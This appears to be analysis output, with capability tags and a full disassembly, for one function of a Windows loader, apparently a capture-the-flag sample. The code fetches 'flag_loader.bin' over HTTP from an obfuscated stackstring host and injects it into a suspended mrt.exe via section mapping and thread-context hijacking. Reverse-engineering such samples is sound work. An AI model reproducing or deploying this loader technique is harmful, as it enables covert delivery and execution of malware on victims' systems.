Function at 0x140001210
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1090]
mov eax, 0x1190
call fcn.140017c10
sub rsp, rax
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rbp + 0x1080], rax
xor r9d, r9d
mov dword [rsp + 0x50], r9d
xorps xmm0, xmm0
movups xmmword [rbp - 0x66], xmm0
movups xmmword [rbp - 0x56], xmm0
movups xmmword [rbp - 0x46], xmm0
mov dword [rbp - 0x68], 0x680063
mov dword [rbp - 0x64], 0x6c0061
mov dword [rbp - 0x60], 0x65006c
mov dword [rbp - 0x5c], 0x67006e
mov dword [rbp - 0x58], 0x730065
mov dword [rbp - 0x54], 0x70002e
mov dword [rbp - 0x50], 0x6e0065
mov dword [rbp - 0x4c], 0x720074
mov dword [rbp - 0x48], 0x7a0061
mov dword [rbp - 0x44], 0x2e0065
mov dword [rbp - 0x40], 0x6f0063
mov dword [rbp - 0x3c], 0x6d
mov dword [rsp + 0x28], 0x32
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rdx + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2e], xmm0
movups xmmword [rbp - 0x1e], xmm0
mov dword [rbp - 0xe], eax
mov word [rbp - 0xa], ax
mov dword [rbp - 0x30], 0x6c0066
mov dword [rbp - 0x2c], 0x670061
mov dword [rbp - 0x28], 0x6c005f
mov dword [rbp - 0x24], 0x61006f
mov dword [rbp - 0x20], 0x650064
mov dword [rbp - 0x1c], 0x2e0072
mov dword [rbp - 0x18], 0x690062
mov dword [rbp - 0x14], 0x6e
xor r13d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [rax + 4]
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
mov r8d, 0x1ff6
xor r9d, r9d
lea rdx, [rbp - 0x68]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp - 0x30]
lea rdx, [0x1400215d0]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov qword [rbp - 0x70], r13
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x54], r13d
nop dword [rax]
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x80]
call fcn.140003ab0
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x80]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x140001425
mov r9d, eax
lea r8, [rbp + 0x80]
mov rdx, qword [rbp - 0x78]
lea rcx, [rbp - 0x80]
call fcn.1400017a0
cmp dword [rsp + 0x54], 0
ja 0x1400013d0
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, 0x68
call fcn.140001dcc
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
mov dword [rbx], 0x68
mov dword [rbx + 0x3c], 1
lea ecx, [rax + 0x18]
call fcn.140001dcc
mov r15, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rax
movups xmm0, xmmword [str.C:WindowsSystem32mrt.exe]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x1400215f0]
movups xmmword [rbp + 8], xmm1
movups xmm0, xmmword [0x140021600]
movups xmmword [rbp + 0x18], xmm0
movsd xmm0, qword [0x140021610]
movsd qword [rbp + 0x28], xmm0
movaps xmm1, xmmword [str.C:WindowsSystem32mrt.exe__F__Q]
movaps xmmword [rbp + 0x30], xmm1
movaps xmm0, xmmword [0x140021630]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm1, xmmword [0x140021640]
movaps xmmword [rbp + 0x50], xmm1
movaps xmm0, xmmword [0x140021650]
movaps xmmword [rbp + 0x60], xmm0
mov eax, dword [0x140021660]
mov dword [rbp + 0x70], eax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea rdx, str.NtCreateSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea rdx, str.NtMapViewOfSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov rbx, qword [rbp - 0x78]
mov r12, qword [rbp - 0x80]
sub rbx, r12
mov dword [rsp + 0x70], ebx
xor eax, eax
mov dword [rsp + 0x74], eax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rsp + 0x70]
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rsp + 0x60]
call rdi
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x78], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, rax
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call rsi
mov r8, rbx
mov rdx, r12
mov rcx, qword [rsp + 0x58]
call fcn.1400075a0
mov qword [rsp + 0x68], r13
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rsp + 0x68]
mov rdx, qword [r15]
mov rcx, qword [rsp + 0x60]
call rsi
mov ecx, 0x4d0
call fcn.140001dcc
mov rbx, rax
xor edx, edx
mov r8d, 0x4d0
mov rcx, rax
call fcn.140003ab0
mov dword [rbx + 0x30], 0x100002
mov rdx, rbx
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x68]
mov qword [rbx + 0x80], rcx
mov rdx, rbx
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, qword [rsp + 0x58]
call r14
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Fun_started_:___n
call fcn.140001010
nop
test r12, r12
je 0x140001707
mov rdx, qword [rbp - 0x70]
sub rdx, r12
mov rax, r12
cmp rdx, 0x1000
jb 0x1400016ff
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001739
mov rcx, r12
call fcn.140001e08
xor eax, eax
mov rcx, qword [rbp + 0x1080]
xor rcx, rsp
call fcn.140001b10
lea r11, [rsp + 0x1190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000a228
int3